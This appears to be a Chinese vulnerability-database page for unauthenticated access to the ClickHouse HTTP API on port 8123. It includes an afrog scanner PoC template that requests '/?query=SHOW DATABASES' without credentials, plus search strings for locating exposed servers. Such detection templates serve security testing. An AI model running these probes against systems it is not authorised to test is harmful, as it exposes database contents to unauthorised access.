clickhouse-api-unauth: ClickHouse API 数据库接口未授权访问漏洞 8123端口

日期: 2025-09-01 | 影响软件: ClickHouse API | POC: 已公开

漏洞描述

ClickHouse API 数据库接口存在未授权访问漏洞，攻击者通过漏洞可以执行任意SQL命令获取数据库数据 ClickHouse 8123端口 "ClickHouse" && body="ok" protocol="ClickHouse" && port="8123"

PoC代码[已公开]

id: clickhouse-api-unauth

info:
  name: ClickHouse API 数据库接口未授权访问漏洞 8123端口
  author: zan8in
  severity: high
  verified: false
  description: |
    ClickHouse API 数据库接口存在未授权访问漏洞，攻击者通过漏洞可以执行任意SQL命令获取数据库数据
    ClickHouse 8123端口
    "ClickHouse" && body="ok"
    protocol="ClickHouse" && port="8123"
  reference:
    - http://wiki.peiqi.tech/wiki/serverapp/ClickHouse/ClickHouse%20API%20%E6%95%B0%E6%8D%AE%E5%BA%93%E6%8E%A5%E5%8F%A3%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.html
    - http://wiki.peiqi.tech/redteam/vulnerability/unauthorized/ClickHouse%208123%E7%AB%AF%E5%8F%A3.html

rules:
  r0:
    request:
      method: GET
      path: /
    expression: response.status == 200 && response.body.bcontains(b'Ok.') && response.raw_header.bcontains(b'X-ClickHouse-Summary:')
  r1:
    request:
      method: GET
      path: /?query=SHOW%20DATABASES
    expression: response.status == 200 && response.body.bcontains(b'db_ananas') && response.body.bcontains(b'db_portrait') && response.body.bcontains(b'default') && response.body.bcontains(b'system')
expression: r0() || r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/clickhouse-api-unauth.yaml

相关漏洞推荐